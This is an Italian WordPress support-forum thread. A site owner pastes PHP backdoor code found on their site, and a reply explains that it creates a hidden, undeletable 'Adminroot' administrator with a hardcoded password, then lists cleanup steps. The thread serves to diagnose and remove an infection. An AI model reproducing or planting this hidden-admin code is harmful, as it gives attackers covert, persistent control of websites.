• Buongiorno, il mio sito presenta negli header di tutte le finestre il seguente testo php. Penso di essere stato hackerato, come posso ripristinare la situazione iniziale? ho aggiornato wordpress e sostituito tutte le cartelle di base con cartelle pulite.

    min_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Adminroot', 'user_pass' => 'r007pd8skdgSejrd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }

Stai visualizzando 1 risposte (di 1 totali)
  • robertoiacono

    (@prototipo88)

    Sembrerebbe codice malevolo.

    Hai già risolto?

    Ti crea un utente amministratore nascosto (non lo dovresti vedere nel tuo pannello di amministrazione) con username Adminroot.

    Viene inoltre impedita la cancellazione o modifica di questo utente tramite WordPress.

    Cosa fare?

    Qui trovi la guida ufficiale: https://wordpress.org/documentation/article/faq-my-site-was-hacked/

    • Fai una backup di tutto per sicurezza prima di iniziare a fare qualsiasi cosa, ma contrassegnalo come non sicuro
    • Se hai una copia di backup recente e pulita, ripristinala (sia file che database)
    • Cambia password
    • Controlla se nel database hai un utente con questo username (o altri username strani)
    • Controlla il sito con Sucuri Sitecheck https://sitecheck.sucuri.net/
    • Controlla nel tuo database se esiste l’opzione _pre_user_id e rimuovila
    • Dovresti capire dove hai la falla di sicurezza così da evitare di averla in futuro
    • Aggiorna tutti i plugin, poi aggiorna il tema e poi WordPress
    • Installa plugin di sicurezza come WordFence
    • Cambia password nuovamente
Stai visualizzando 1 risposte (di 1 totali)
  • Devi essere collegato per rispondere a questo topic.